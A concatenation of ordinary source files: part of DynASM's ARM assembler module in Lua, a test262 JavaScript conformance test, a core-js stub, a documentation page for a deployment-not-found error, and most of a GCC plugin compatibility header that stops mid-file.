werror("expected address operand")
end
------------------------------------------------------------------------------
-- Handle opcodes defined with template strings.
local function parse_template(params, template, nparams, pos)
local op = tonumber(sub(template, 1, 8), 16)
local n = 1
local vr = "s"
-- Process each character.
for p in gmatch(sub(template, 9), ".") do
local q = params[n]
if p == "D" then
op = op + shl(parse_gpr(q), 12); n = n + 1
elseif p == "N" then
op = op + shl(parse_gpr(q), 16); n = n + 1
elseif p == "S" then
op = op + shl(parse_gpr(q), 8); n = n + 1
elseif p == "M" then
op = op + parse_gpr(q); n = n + 1
elseif p == "d" then
local r,h = parse_vr(q, vr); op = op+shl(r,12)+shl(h,22); n = n + 1
elseif p == "n" then
local r,h = parse_vr(q, vr); op = op+shl(r,16)+shl(h,7); n = n + 1
elseif p == "m" then
local r,h = parse_vr(q, vr); op = op+r+shl(h,5); n = n + 1
elseif p == "P" then
local imm = match(q, "^#(.*)$")
if imm then
op = op + parse_imm12(imm) + 0x02000000
else
op = op + parse_gpr(q)
end
n = n + 1
elseif p == "p" then
op = op + parse_shift(q, true); n = n + 1
elseif p == "L" then
op = parse_load(params, nparams, n, op)
elseif p == "l" then
op = op + parse_vload(q)
elseif p == "B" then
local mode, n, s = parse_label(q, false)
waction("REL_"..mode, n, s, 1)
elseif p == "C" then -- blx gpr vs. blx label.
if match(q, "^([%w_]+):(r1?[0-9])$") or match(q, "^r(1?[0-9])$") then
op = op + parse_gpr(q)
else
if op < 0xe0000000 then werror("unconditional instruction") end
local mode, n, s = parse_label(q, false)
waction("REL_"..mode, n, s, 1)
op = 0xfa000000
end
elseif p == "F" then
vr = "s"
elseif p == "G" then
vr = "d"
elseif p == "o" then
local r, wb = match(q, "^([^!]*)(!?)$")
op = op + shl(parse_gpr(r), 16) + (wb == "!" and 0x00200000 or 0)
n = n + 1
elseif p == "R" then
op = op + parse_reglist(q); n = n + 1
elseif p == "r" then
op = op + parse_vrlist(q); n = n + 1
elseif p == "W" then
op = op + parse_imm16(q); n = n + 1
elseif p == "v" then
op = op + parse_imm(q, 5, 7, 0, false); n = n + 1
elseif p == "w" then
local imm = match(q, "^#(.*)$")
if imm then
op = op + parse_imm(q, 5, 7, 0, false); n = n + 1
else
op = op + shl(parse_gpr(q), 8) + 16
end
elseif p == "X" then
op = op + parse_imm(q, 5, 16, 0, false); n = n + 1
elseif p == "Y" then
local imm = tonumber(match(q, "^#(.*)$")); n = n + 1
if not imm or shr(imm, 8) ~= 0 then
werror("bad immediate operand")
end
op = op + shl(band(imm, 0xf0), 12) + band(imm, 0x0f)
elseif p == "K" then
local imm = tonumber(match(q, "^#(.*)$")); n = n + 1
if not imm or shr(imm, 16) ~= 0 then
werror("bad immediate operand")
end
op = op + shl(band(imm, 0xfff0), 4) + band(imm, 0x000f)
elseif p == "T" then
op = op + parse_imm(q, 24, 0, 0, false); n = n + 1
elseif p == "s" then
-- Ignored.
else
assert(false)
end
end
wputpos(pos, op)
end
map_op[".template__"] = function(params, template, nparams)
if not params then return template:gsub("%x%x%x%x%x%x%x%x", "") end
-- Limit number of section buffer positions used by a single dasm_put().
-- A single opcode needs a maximum of 3 positions.
if secpos+3 > maxsecpos then wflush() end
local pos = wpos()
local lpos, apos, spos = #actlist, #actargs, secpos
local ok, err
for t in gmatch(template, "[^|]+") do
ok, err = pcall(parse_template, params, t, nparams, pos)
if ok then return end
secpos = spos
actlist[lpos+1] = nil
actlist[lpos+2] = nil
actlist[lpos+3] = nil
actargs[apos+1] = nil
actargs[apos+2] = nil
actargs[apos+3] = nil
end
error(err, 0)
end
------------------------------------------------------------------------------
-- Pseudo-opcode to mark the position where the action list is to be emitted.
map_op[".actionlist_1"] = function(params)
if not params then return "cvar" end
local name = params[1] -- No syntax check. You get to keep the pieces.
wline(function(out) writeactions(out, name) end)
end
-- Pseudo-opcode to mark the position where the global enum is to be emitted.
map_op[".globals_1"] = function(params)
if not params then return "prefix" end
local prefix = params[1] -- No syntax check. You get to keep the pieces.
wline(function(out) writeglobals(out, prefix) end)
end
-- Pseudo-opcode to mark the position where the global names are to be emitted.
map_op[".globalnames_1"] = function(params)
if not params then return "cvar" end
local name = params[1] -- No syntax check. You get to keep the pieces.
wline(function(out) writeglobalnames(out, name) end)
end
-- Pseudo-opcode to mark the position where the extern names are to be emitted.
map_op[".externnames_1"] = function(params)
if not params then return "cvar" end
local name = params[1] -- No syntax check. You get to keep the pieces.
wline(function(out) writeexternnames(out, name) end)
end
------------------------------------------------------------------------------
-- Label pseudo-opcode (converted from trailing colon form).
map_op[".label_1"] = function(params)
if not params then return "[1-9] | ->global | =>pcexpr" end
if secpos+1 > maxsecpos then wflush() end
local mode, n, s = parse_label(params[1], true)
if mode == "EXT" then werror("bad label definition") end
waction("LABEL_"..mode, n, s, 1)
end
------------------------------------------------------------------------------
-- Pseudo-opcodes for data storage.
map_op[".long_*"] = function(params)
if not params then return "imm..." end
for _,p in ipairs(params) do
local n = tonumber(p)
if not n then werror("bad immediate `"..p.."'") end
if n < 0 then n = n + 2^32 end
wputw(n)
if secpos+2 > maxsecpos then wflush() end
end
end
-- Alignment pseudo-opcode.
map_op[".align_1"] = function(params)
if not params then return "numpow2" end
if secpos+1 > maxsecpos then wflush() end
local align = tonumber(params[1])
if align then
local x = align
-- Must be a power of 2 in the range (2 ... 256).
for i=1,8 do
x = x / 2
if x == 1 then
waction("ALIGN", align-1, nil, 1) -- Action byte is 2**n-1.
return
end
end
end
werror("bad alignment")
end
------------------------------------------------------------------------------
-- Pseudo-opcode for (primitive) type definitions (map to C types).
map_op[".type_3"] = function(params, nparams)
if not params then
return nparams == 2 and "name, ctype" or "name, ctype, reg"
end
local name, ctype, reg = params[1], params[2], params[3]
if not match(name, "^[%a_][%w_]*$") then
werror("bad type name `"..name.."'")
end
local tp = map_type[name]
if tp then
werror("duplicate type `"..name.."'")
end
-- Add #type to defines. A bit unclean to put it in map_archdef.
map_archdef["#"..name] = "sizeof("..ctype..")"
-- Add new type and emit shortcut define.
local num = ctypenum + 1
map_type[name] = {
ctype = ctype,
ctypefmt = format("Dt%X(%%s)", num),
reg = reg,
}
wline(format("#define Dt%X(_V) (int)(ptrdiff_t)&(((%s *)0)_V)", num, ctype))
ctypenum = num
end
map_op[".type_2"] = map_op[".type_3"]
-- Dump type definitions.
local function dumptypes(out, lvl)
local t = {}
for name in pairs(map_type) do t[#t+1] = name end
sort(t)
out:write("Type definitions:\n")
for _,name in ipairs(t) do
local tp = map_type[name]
local reg = tp.reg or ""
out:write(format(" %-20s %-20s %s\n", name, tp.ctype, reg))
end
out:write("\n")
end
------------------------------------------------------------------------------
-- Set the current section.
function _M.section(num)
waction("SECTION", num)
wflush(true) -- SECTION is a terminal action.
end
------------------------------------------------------------------------------
-- Dump architecture description.
function _M.dumparch(out)
out:write(format("DynASM %s version %s, released %s\n\n",
_info.arch, _info.version, _info.release))
dumpactions(out)
end
-- Dump all user defined elements.
function _M.dumpdef(out, lvl)
dumptypes(out, lvl)
dumpglobals(out, lvl)
dumpexterns(out, lvl)
end
------------------------------------------------------------------------------
-- Pass callbacks from/to the DynASM core.
function _M.passcb(wl, we, wf, ww)
wline, werror, wfatal, wwarn = wl, we, wf, ww
return wflush
end
-- Setup the arch-specific module.
function _M.setup(arch, opt)
g_arch, g_opt = arch, opt
end
-- Merge the core maps and the arch-specific maps.
function _M.mergemaps(map_coreop, map_def)
setmetatable(map_op, { __index = function(t, k)
local v = map_coreop[k]
if v then return v end
local k1, cc, k2 = match(k, "^(.-)(..)([._].*)$")
local cv = map_cond[cc]
if cv then
local v = rawget(t, k1..k2)
if type(v) == "string" then
local scv = format("%x", cv)
return gsub(scv..sub(v, 2), "|e", "|"..scv)
end
end
end })
setmetatable(map_def, { __index = map_archdef })
return map_op, map_def
end
return _M
------------------------------------------------------------------------------
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2012 Ecma International. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
info: |
Refer 12.6.3;
The production
IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
is evaluated as follows:
es5id: 12.6.3_2-3-a-ii-8
description: >
The for Statement - (normal, V, empty) will be returned when first
Expression is a String object (value is 'undefined')
---*/
var accessed = false;
var strObj = new String("undefined");
for (var i = 0; strObj;) {
accessed = true;
break;
}
assert(accessed, 'accessed !== true');
| {
"pile_set_name": "Github"
} |
require('../../../modules/core.function.part');
module.exports = require('../../../modules/_entry-virtual')('Function').part;
| {
"pile_set_name": "Github"
} |
import Standard from '~/components/layout/standard'
import Note from '~/components/text/note'
import { InlineCode } from '~/components/text/code'
import EmailLink from '~/components/text/email-link'
export const meta = {
title: 'Deployment Not Found',
description: 'The requested deployment was not found.',
editUrl: 'pages/docs/error/platform/DEPLOYMENT_NOT_FOUND.mdx',
lastEdited: '2020-04-15T01:59:48.000Z'
}
#### Platform Error
The deployment was not found in the platform infrastructure layer.
<br />
<Note label={false}>
<b>404</b>: Not found
<br />
Code: <InlineCode>DEPLOYMENT_NOT_FOUND</InlineCode>
</Note>
---
#### Troubleshoot
- Make sure the link you accessed is correct.
- If you were expecting a deployment to be assigned to a domain that you are accessing, please ensure that the domain is [assigned to a project](/docs/v2/custom-domains/#adding-a-domain) and there is a [production deployment](/docs/v2/custom-domains/#deploying-with-your-domain).
- If the link is correct and you were not expecting this error; **<EmailLink type="support">Contact Support</EmailLink>**.
export default ({ children }) => <Standard meta={meta}>{children}</Standard>
export const config = {
amp: 'hybrid'
}
| {
"pile_set_name": "Github"
} |
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef GCC_COMMON_H_INCLUDED
#define GCC_COMMON_H_INCLUDED
#include "bversion.h"
#if BUILDING_GCC_VERSION >= 6000
#include "gcc-plugin.h"
#else
#include "plugin.h"
#endif
#include "plugin-version.h"
#include "config.h"
#include "system.h"
#include "coretypes.h"
#include "tm.h"
#include "line-map.h"
#include "input.h"
#include "tree.h"
#include "tree-inline.h"
#include "version.h"
#include "rtl.h"
#include "tm_p.h"
#include "flags.h"
#include "hard-reg-set.h"
#include "output.h"
#include "except.h"
#include "function.h"
#include "toplev.h"
#if BUILDING_GCC_VERSION >= 5000
#include "expr.h"
#endif
#include "basic-block.h"
#include "intl.h"
#include "ggc.h"
#include "timevar.h"
#if BUILDING_GCC_VERSION < 10000
#include "params.h"
#endif
#if BUILDING_GCC_VERSION <= 4009
#include "pointer-set.h"
#else
#include "hash-map.h"
#endif
#if BUILDING_GCC_VERSION >= 7000
#include "memmodel.h"
#endif
#include "emit-rtl.h"
#include "debug.h"
#include "target.h"
#include "langhooks.h"
#include "cfgloop.h"
#include "cgraph.h"
#include "opts.h"
#if BUILDING_GCC_VERSION == 4005
#include <sys/mman.h>
#endif
#if BUILDING_GCC_VERSION >= 4007
#include "tree-pretty-print.h"
#include "gimple-pretty-print.h"
#endif
#if BUILDING_GCC_VERSION >= 4006
/*
* The c-family headers were moved into a subdirectory in GCC version
* 4.7, but most plugin-building users of GCC 4.6 are using the Debian
* or Ubuntu package, which has an out-of-tree patch to move this to the
* same location as found in 4.7 and later:
* https://sources.debian.net/src/gcc-4.6/4.6.3-14/debian/patches/pr45078.diff/
*/
#include "c-family/c-common.h"
#else
#include "c-common.h"
#endif
#if BUILDING_GCC_VERSION <= 4008
#include "tree-flow.h"
#else
#include "tree-cfgcleanup.h"
#include "tree-ssa-operands.h"
#include "tree-into-ssa.h"
#endif
#if BUILDING_GCC_VERSION >= 4008
#include "is-a.h"
#endif
#include "diagnostic.h"
#include "tree-dump.h"
#include "tree-pass.h"
#if BUILDING_GCC_VERSION >= 4009
#include "pass_manager.h"
#endif
#include "predict.h"
#include "ipa-utils.h"
#if BUILDING_GCC_VERSION >= 8000
#include "stringpool.h"
#endif
#if BUILDING_GCC_VERSION >= 4009
#include "attribs.h"
#include "varasm.h"
#include "stor-layout.h"
#include "internal-fn.h"
#include "gimple-expr.h"
#include "gimple-fold.h"
#include "context.h"
#include "tree-ssa-alias.h"
#include "tree-ssa.h"
#include "stringpool.h"
#if BUILDING_GCC_VERSION >= 7000
#include "tree-vrp.h"
#endif
#include "tree-ssanames.h"
#include "print-tree.h"
#include "tree-eh.h"
#include "stmt.h"
#include "gimplify.h"
#endif
#include "gimple.h"
#if BUILDING_GCC_VERSION >= 4009
#include "tree-ssa-operands.h"
#include "tree-phinodes.h"
#include "tree-cfg.h"
#include "gimple-iterator.h"
#include "gimple-ssa.h"
#include "ssa-iterators.h"
#endif
#if BUILDING_GCC_VERSION >= 5000
#include "builtins.h"
#endif
/* missing from basic_block.h... */
void debug_dominance_info(enum cdi_direction dir);
void debug_dominance_tree(enum cdi_direction dir, basic_block root);
#if BUILDING_GCC_VERSION == 4006
void debug_gimple_stmt(gimple);
void debug_gimple_seq(gimple_seq);
void print_gimple_seq(FILE *, gimple_seq, int, int);
void print_gimple_stmt(FILE *, gimple, int, int);
void print_gimple_expr(FILE *, gimple, int, int);
void dump_gimple_stmt(pretty_printer *, gimple, int, int);
#endif
#ifndef __unused
#define __unused __attribute__((__unused__))
#endif
#ifndef __visible
#define __visible __attribute__((visibility("default")))
#endif
#define DECL_NAME_POINTER(node) IDENTIFIER_POINTER(DECL_NAME(node))
#define DECL_NAME_LENGTH(node) IDENTIFIER_LENGTH(DECL_NAME(node))
#define TYPE_NAME_POINTER(node) IDENTIFIER_POINTER(TYPE_NAME(node))
#define TYPE_NAME_LENGTH(node) IDENTIFIER_LENGTH(TYPE_NAME(node))
/* should come from c-tree.h if only it were installed for gcc 4.5... */
#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE)
static inline tree build_const_char_string(int len, const char *str)
{
tree cstr, elem, index, type;
cstr = build_string(len, str);
elem = build_type_variant(char_type_node, 1, 0);
index = build_index_type(size_int(len - 1));
type = build_array_type(elem, index);
TREE_TYPE(cstr) = type;
TREE_CONSTANT(cstr) = 1;
TREE_READONLY(cstr) = 1;
TREE_STATIC(cstr) = 1;
return cstr;
}
#define PASS_INFO(NAME, REF, ID, POS) \
struct register_pass_info NAME##_pass_info = { \
.pass = make_##NAME##_pass(), \
.reference_pass_name = REF, \
.ref_pass_instance_number = ID, \
.pos_op = POS, \
}
#if BUILDING_GCC_VERSION == 4005
#define FOR_EACH_LOCAL_DECL(FUN, I, D) \
for (tree vars = (FUN)->local_decls, (I) = 0; \
vars && ((D) = TREE_VALUE(vars)); \
vars = TREE_CHAIN(vars), (I)++)
#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE)))
#define FOR_EACH_VEC_ELT(T, V, I, P) \
for (I = 0; VEC_iterate(T, (V), (I), (P)); ++(I))
#define TODO_rebuild_cgraph_edges 0
#define SCOPE_FILE_SCOPE_P(EXP) (!(EXP))
#ifndef O_BINARY
#define O_BINARY 0
#endif
typedef struct varpool_node *varpool_node_ptr;
static inline bool gimple_call_builtin_p(gimple stmt, enum built_in_function code)
{
tree fndecl;
if (!is_gimple_call(stmt))
return false;
fndecl = gimple_call_fndecl(stmt);
if (!fndecl || DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL)
return false;
return DECL_FUNCTION_CODE(fndecl) == code;
}
static inline bool is_simple_builtin(tree decl)
{
if (decl && DECL_BUILT_IN_CLASS(decl) != BUILT_IN_NORMAL)
return false;
switch (DECL_FUNCTION_CODE(decl)) {
/* Builtins that expand to constants. */
case BUILT_IN_CONSTANT_P:
case BUILT_IN_EXPECT:
case BUILT_IN_OBJECT_SIZE:
case BUILT_IN_UNREACHABLE:
/* Simple register moves or loads from stack. */
case BUILT_IN_RETURN_ADDRESS:
case BUILT_IN_EXTRACT_RETURN_ADDR:
case BUILT_IN_FROB_RETURN_ADDR:
case BUILT_IN_RETURN:
case BUILT_IN_AGGREGATE_INCOMING_ADDRESS:
case BUILT_IN_FRAME_ADDRESS:
case BUILT_IN_VA_END:
case BUILT_IN_STACK_SAVE:
case BUILT_IN_STACK_RESTORE:
/* Exception state returns or moves registers around. */
case BUILT_IN_EH_FILTER:
case BUILT_IN_EH_POINTER:
case BUILT_IN_EH_COPY_VALUES:
return true;
default:
return false;
}
}
static inline void add_local_decl(struct function *fun, tree d)
{
gcc_assert(TREE_CODE(d) == VAR_DECL);
fun->local_decls = tree_cons(NULL_TREE, d, fun->local_decls);
}
#endif
#if BUILDING_GCC_VERSION <= 4006
#define ANY_RETURN_P(rtx) (GET_CODE(rtx) == RETURN)
#define C_DECL_REGISTER(EXP) DECL_LANG_FLAG_4(EXP)
#define EDGE_PRESERVE 0ULL
#define HOST_WIDE_INT_PRINT_HEX_PURE "%" HOST_WIDE_INT_PRINT "x"
#define flag_fat_lto_objects true
#define get_random_seed(noinit) ({ \
unsigned HOST_WIDE_INT seed; \
sscanf(get_random_seed(noinit), "%" HOST_WIDE_INT_PRINT "x", &seed); \
seed * seed; })
#define int_const_binop(code, arg1, arg2) \
int_const_binop((code), (arg1), (arg2), 0)
static inline bool gimple_clobber_p(gimple s __unused)
{
return false;
}
static inline bool gimple_asm_clobbers_memory_p(const_gimple stmt)
{
unsigned i;
for (i = 0; i < gimple_asm_nclobbers(stmt); i++) {
tree op = gimple_asm_clobber_op(stmt, i);
if (!strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "memory"))
return true;
}
return false;
}
static inline tree builtin_decl_implicit(enum built_in_function fncode)
{
return implicit_built_in_decls[fncode];
}
static inline int ipa_reverse_postorder(struct cgraph_node **order)
{
return cgraph_postorder(order);
}
static inline struct cgraph_node *cgraph_create_node(tree decl)
{
return cgraph_node(decl);
}
static inline struct cgraph_node *cgraph_get_create_node(tree decl)
{
struct cgraph_node *node = cgraph_get_node(decl);
return node ? node : cgraph_node(decl);
}
static inline bool cgraph_function_with_gimple_body_p(struct cgraph_node *node)
{
return node->analyzed && !node->thunk.thunk_p && !node->alias;
}
static inline struct cgraph_node *cgraph_first_function_with_gimple_body(void)
{
struct cgraph_node *node;
for (node = cgraph_nodes; node; node = node->next)
if (cgraph_function_with_gimple_body_p(node))
return node;
return NULL;
}
static inline struct cgraph_node *cgraph_next_function_with_gimple_body(struct cgraph_node *node)
{
for (node = node->next; node; node = node->next)
if (cgraph_function_with_gimple_body_p(node))
return node;
return NULL;
}
static inline bool cgraph_for_node_and_aliases(cgraph_node_ptr node, bool (*callback)(cgraph_node_ptr, void *), void *data, bool include_overwritable)
{
cgraph_node_ptr alias;
if (callback(node, data))
return true;
for (alias = node->same_body; alias; alias = alias->next) {
if (include_overwritable || cgraph_function_body_availability(alias) > AVAIL_OVERWRITABLE)
if (cgraph_for_node_and_aliases(alias, callback, data, include_overwritable))
return true;
}
return false;
}
#define FOR_EACH_FUNCTION_WITH_GIMPLE_BODY(node) \
for ((node) = cgraph_first_function_with_gimple_body(); (node); \
(node) = cgraph_next_function_with_gimple_body(node))
static inline void varpool_add_new_variable(tree decl)
{
varpool_finalize_decl(decl);
}
#endif
#if BUILDING_GCC_VERSION <= 4007
#define FOR_EACH_FUNCTION(node) \
for (node = cgraph_nodes; node; node = node->next)
#define FOR_EACH_VARIABLE(node) \
for (node = varpool_nodes; node; node = node->next)
#define PROP_loops 0
#define NODE_SYMBOL(node) (node)
#define NODE_DECL(node) (node)->decl
#define INSN_LOCATION(INSN) RTL_LOCATION(INSN)
#define vNULL NULL
static inline int bb_loop_depth(const_basic_block bb)
{
return bb->loop_father ? loop_depth(bb->loop_father) : 0;
}
static inline bool gimple_store_p(gimple gs)
{
tree lhs = gimple_get_lhs(gs);
return lhs && !is_gimple_reg(lhs);
}
static inline void gimple_init_singleton(gimple g __unused)
{
}
#endif
#if BUILDING_GCC_VERSION == 4007 || BUILDING_GCC_VERSION == 4008
static inline struct cgraph_node *cgraph_alias_target(struct cgraph_node *n)
{
return cgraph_alias_aliased_node(n);
}
#endif
#if BUILDING_GCC_VERSION <= 4008
#define ENTRY_BLOCK_PTR_FOR_FN(FN) ENTRY_BLOCK_PTR_FOR_FUNCTION(FN)
#define EXIT_BLOCK_PTR_FOR_FN(FN) EXIT_BLOCK_PTR_FOR_FUNCTION(FN)
#define basic_block_info_for_fn(FN) ((FN)->cfg->x_basic_block_info)
#define n_basic_blocks_for_fn(FN) ((FN)->cfg->x_n_basic_blocks)
#define n_edges_for_fn(FN) ((FN)->cfg->x_n_edges)
#define last_basic_block_for_fn(FN) ((FN)->cfg->x_last_basic_block)
#define label_to_block_map_for_fn(FN) ((FN)->cfg->x_label_to_block_map)
#define profile_status_for_fn(FN) ((FN)->cfg->x_profile_status)
#define BASIC_BLOCK_FOR_FN(FN, N) BASIC_BLOCK_FOR_FUNCTION((FN), (N))
#define NODE_IMPLICIT_ALIAS(node) (node)->same_body_alias
#define VAR_P(NODE) (TREE_CODE(NODE) == VAR_DECL)
static inline bool tree_fits_shwi_p(const_tree t)
{
if (t == NULL_TREE || TREE_CODE(t) != INTEGER_CST)
return false;
if (TREE_INT_CST_HIGH(t) == 0 && (HOST_WIDE_INT)TREE_INT_CST_LOW(t) >= 0)
return true;
if (TREE_INT_CST_HIGH(t) == -1 && (HOST_WIDE_INT)TREE_INT_CST_LOW(t) < 0 && !TYPE_UNSIGNED(TREE_TYPE(t)))
return true;
return false;
}
static inline bool tree_fits_uhwi_p(const_tree t)
{
if (t == NULL_TREE || TREE_CODE(t) != INTEGER_CST)
return false;
return TREE_INT_CST_HIGH(t) == 0;
}
static inline HOST_WIDE_INT tree_to_shwi(const_tree t)
{
gcc_assert(tree_fits_shwi_p(t));
return TREE_INT_CST_LOW(t);
}
static inline unsigned HOST_WIDE_INT tree_to_uhwi(const_tree t)
{
gcc_assert(tree_fits_uhwi_p(t));
return TREE_INT_CST_LOW(t);
}
static inline const char *get_tree_code_name(enum tree_code code)
{
gcc_assert(code < MAX_TREE_CODES);
return tree_code_name[code];
}
#define ipa_remove_stmt_references(cnode, stmt)
typedef union gimple_statement_d gasm;
typedef union gimple_statement_d gassign;
typedef union gimple_statement_d gcall;
typedef union gimple_statement_d gcond;
typedef union gimple_statement_d gdebug;
typedef union gimple_statement_d ggoto;
typedef union gimple_statement_d gphi;
typedef union gimple_statement_d greturn;
static inline gasm *as_a_gasm(gimple stmt)
{
return stmt;
}
static inline const gasm *as_a_const_gasm(const_gimple stmt)
{
return stmt;
}
static inline gassign *as_a_gassign(gimple stmt)
{
return stmt;
}
static inline const gassign *as_a_const_gassign(const_gimple stmt)
{
return stmt;
}
static inline gcall *as_a_gcall(gimple stmt)
{
return stmt;
}
static inline const gcall *as_a_const_gcall(const_gimple stmt)
{
return stmt;
}
static inline gcond *as_a_gcond(gimple stmt)
{
return stmt;
}
static inline const gcond *as_a_const_gcond(const_gimple stmt)
{
return stmt;
}
static inline gdebug *as_a_gdebug(gimple stmt)
{
return stmt;
}
static inline const gdebug *as_a_const_gdebug(const_gimple stmt)
{
return stmt;
}
static inline ggoto *as_a_ggoto(gimple stmt)
{
return stmt;
}
static inline const ggoto *as_a_const_ggoto(const_gimple stmt)
{
return stmt;
}
static inline gphi *as_a_gphi(gimple stmt)
{
return stmt;
}
static inline const gphi *as_a_const_gphi(const_gimple stmt)
{
return stmt;
}
static inline greturn *as_a_greturn(gimple stmt)
{
return stmt;
}
static inline const greturn *as_a_const_greturn(const_gimple stmt)
{
return stmt;
}
#endif
#if BUILDING_GCC_VERSION == 4008
#define NODE_SYMBOL(node) (&(node)->symbol)
#define NODE_DECL(node) (node)->symbol.decl
#endif
#if BUILDING_GCC_VERSION >= 4008
#define add_referenced_var(var)
#define mark_sym_for_renaming(var)
#define varpool_mark_needed_node(node)
#define create_var_ann(var)
#define TODO_dump_func 0
#define TODO_dump_cgraph 0
#endif
#if BUILDING_GCC_VERSION <= 4009
#define TODO_verify_il 0
#define AVAIL_INTERPOSABLE AVAIL_OVERWRITABLE
#define section_name_prefix LTO_SECTION_NAME_PREFIX
#define fatal_error(loc, gmsgid, ...) fatal_error((gmsgid), __VA_ARGS__)
rtx emit_move_insn(rtx x, rtx y);
typedef struct rtx_def rtx_insn;
static inline const char *get_decl_section_name(const_tree decl)
{
if (DECL_SECTION_NAME(decl) == NULL_TREE)
return NULL;
return TREE_STRING_POINTER(DECL_SECTION_NAME(decl));
}
static inline void set_decl_section_name(tree node, const char *value)
{
if (value)
DECL_SECTION_NAME(node) = build_string(strlen(value) + 1, value);
else
DECL_SECTION_NAME(node) = NULL;
}
#endif
#if BUILDING_GCC_VERSION == 4009
typedef struct gimple_statement_asm gasm;
typedef struct gimple_statement_base gassign;
typedef struct gimple_statement_call gcall;
typedef struct gimple_statement_base gcond;
typedef struct gimple_statement_base gdebug;
typedef struct gimple_statement_base ggoto;
typedef struct gimple_statement_phi gphi;
typedef struct gimple_statement_base greturn;
static inline gasm *as_a_gasm(gimple stmt)
{
return as_a<gasm>(stmt);
}
static inline const gasm *as_a_const_gasm(const_gimple stmt)
{
return as_a<const gasm>(stmt);
}
static inline gassign *as_a_gassign(gimple stmt)
{
return stmt;
}
static inline const gassign *as_a_const_gassign(const_gimple stmt)
{
return stmt;
}
static inline gcall *as_a_gcall(gimple stmt)
{
return as_a<gcall>(stmt);
}
static inline const gcall *as_a_const_gcall(const_gimple stmt)
{
return as_a<const gcall>(stmt);
}
static inline gcond *as_a_gcond(gimple stmt)
{
return stmt;
}
static inline const gcond *as_a_const_gcond(const_gimple stmt)
{
return stmt;
}
static inline gdebug *as_a_gdebug(gimple stmt)
{
return stmt;
}
static inline const gdebug *as_a_const_gdebug(const_gimple stmt)
{
return stmt;
}
static inline ggoto *as_a_ggoto(gimple stmt)
{
return stmt;
}
static inline const ggoto *as_a_const_ggoto(const_gimple stmt)
{
return stmt;
}
static inline gphi *as_a_gphi(gimple stmt)
{
return as_a<gphi>(stmt);
}
static inline const gphi *as_a_const_gphi(const_gimple stmt)
{
return as_a<const gphi>(stmt);
}
static inline greturn *as_a_greturn(gimple stmt)
{
return stmt;
}
static inline const greturn *as_a_const_greturn(const_gimple stmt)
{
return stmt;
}
#endif
#if BUILDING_GCC_VERSION >= 4009
#define TODO_ggc_collect 0
#define NODE_SYMBOL(node) (node)
#define NODE_DECL(node) (node)->decl
#define cgraph_node_name(node) (node)->name()
#define NODE_IMPLICIT_ALIAS(node) (node)->cpp_implicit_alias
static inline opt_pass *get_pass_for_id(int id)
{
return g->get_passes()->get_pass_for_id(id);
}
#endif
#if BUILDING_GCC_VERSION >= 5000 && BUILDING_GCC_VERSION < 6000
/* gimple related */
template <>
template <>
inline bool is_a_helper<const gassign *>::test(const_gimple gs)
{
return gs->code == GIMPLE_ASSIGN;
}
#endif
#if BUILDING_GCC_VERSION >= 5000
#define TODO_verify_ssa TODO_verify_il
#define TODO_verify_flow TODO_verify_il
#define TODO_verify_stmts TODO_verify_il
#define TODO_verify_rtl_sharing TODO_verify_il
#define INSN_DELETED_P(insn) (insn)->deleted()
static inline const char *get_decl_section_name(const_tree decl)
{
return DECL_SECTION_NAME(decl);
}
/* symtab/cgraph related */
#define debug_cgraph_node(node) (node)->debug()
#define cgraph_get_node(decl) cgraph_node::get(decl)
#define cgraph_get_create_node(decl) cgraph_node::get_create(decl)
#define cgraph_create_node(decl) cgraph_node::create(decl)
#define cgraph_n_nodes symtab->cgraph_count
#define cgraph_max_uid symtab->cgraph_max_uid
#define varpool_get_node(decl) varpool_node::get(decl)
#define dump_varpool_node(file, node) (node)->dump(file)
#if BUILDING_GCC_VERSION >= 8000
#define cgraph_create_edge(caller, callee, call_stmt, count, freq) \
(caller)->create_edge((callee), (call_stmt), (count))
#define cgraph_create_edge_including_clones(caller, callee, \
old_call_stmt, call_stmt, count, freq, reason) \
(caller)->create_edge_including_clones((callee), \
(old_call_stmt), (call_stmt), (count), (reason))
#else
#define cgraph_create_edge(caller, callee, call_stmt, count, freq) \
(caller)->create_edge((callee), (call_stmt), (count), (freq))
#define cgraph_create_edge_including_clones(caller, callee, \
old_call_stmt, call_stmt, count, freq, reason) \
(caller)->create_edge_including_clones((callee), \
(old_call_stmt), (call_stmt), (count), (freq), (reason))
#endif
typedef struct cgraph_node *cgraph_node_ptr;
typedef struct cgraph_edge *cgraph_edge_p;
typedef struct varpool_node *varpool_node_ptr;
static inline void change_decl_assembler_name(tree decl, tree name)
{
symtab->change_decl_assembler_name(decl, name);
}
static inline void varpool_finalize_decl(tree decl)
{
varpool_node::finalize_decl(decl);
}
static inline void varpool_add_new_variable(tree decl)
{
varpool_node::add(decl);
}
static inline unsigned int rebuild_cgraph_edges(void)
{
return cgraph_edge::rebuild_edges();
}
static inline cgraph_node_ptr cgraph_function_node(cgraph_node_ptr node, enum availability *availability)
{
return node->function_symbol(availability);
}
static inline cgraph_node_ptr cgraph_function_or_thunk_node(cgraph_node_ptr node, enum availability *availability = NULL)
{
return node->ultimate_alias_target(availability);
}
static inline bool cgraph_only_called_directly_p(cgraph_node_ptr node)
{
return node->only_called_directly_p();
}
static inline enum availability cgraph_function_body_availability(cgraph_node_ptr node)
{
return node->get_availability();
}
static inline cgraph_node_ptr cgraph_alias_target(cgraph_node_ptr node)
{
return node->get_alias_target();
}
static inline bool cgraph_for_node_and_aliases(cgraph_node_ptr node, bool (*callback)(cgraph_node_ptr, void *), void *data, bool include_overwritable)
{
return node->call_for_symbol_thunks_and_aliases(callback, data, include_overwritable);
}
static inline struct cgraph_node_hook_list *cgraph_add_function_insertion_hook(cgraph_node_hook hook, void *data)
{
return symtab->add_cgraph_insertion_hook(hook, data);
}
static inline void cgraph_remove_function_insertion_hook(struct cgraph_node_hook_list *entry)
{
symtab->remove_cgraph_insertion_hook(entry);
}
static inline struct cgraph_node_hook_list *cgraph_add_node_removal_hook(cgraph_node_hook hook, void *data)
{
return symtab->add_cgraph_removal_hook(hook, data);
}
